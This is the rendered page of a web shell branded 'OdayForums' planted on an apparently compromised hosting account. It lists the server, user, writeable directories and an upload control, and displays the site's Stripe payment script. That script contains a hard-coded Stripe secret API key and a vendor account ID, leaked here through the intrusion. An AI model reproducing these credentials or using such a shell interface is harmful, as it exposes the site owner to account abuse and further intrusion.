Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/public/stripe-payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/public/stripe-payment/create_payment_intent.php
<?php

require 'vendor/autoload.php';

\Stripe\Stripe::setApiKey("sk_test_51TAVEuKCFr2zWbFzkbKT4byYoYrsykVNxpY2lVUfjQ4QvcIRQVjFCIjbe0scFHWnI4HQy24gGe7wIG66C3TQ1LUG00EdbhLARV");

$data = json_decode(file_get_contents("php://input"), true);

$paymentMethodId = $data['paymentMethodId'] ?? null;

/*
Vendor Stripe account id
Example: acct_1ABCxyz
You should fetch this from your database
*/
$vendorStripeAccount = "acct_1TAWU7GiDYiqkCD5";

try {

// $intent = \Stripe\PaymentIntent::create([
//     'amount' => 5000, // £50
//     'currency' => 'gbp',

//     'automatic_payment_methods' => [
//         'enabled' => true
//     ],

//     'payment_method' => $paymentMethodId,

//     // Send money to vendor
//     'transfer_data' => [
//         'destination' => $vendorStripeAccount
//     ],

//     // Optional platform commission (£5)
//     'application_fee_amount' => 500

// ]);

echo json_encode([
    // "clientSecret" => $intent->client_secret,
    // "paymentIntentId" => $intent->id
    "paymentMethodId" => $paymentMethodId
]);

} catch(Exception $e) {

echo json_encode([
    "error" => $e->getMessage()
]);

}

ZeroDay Forums Mini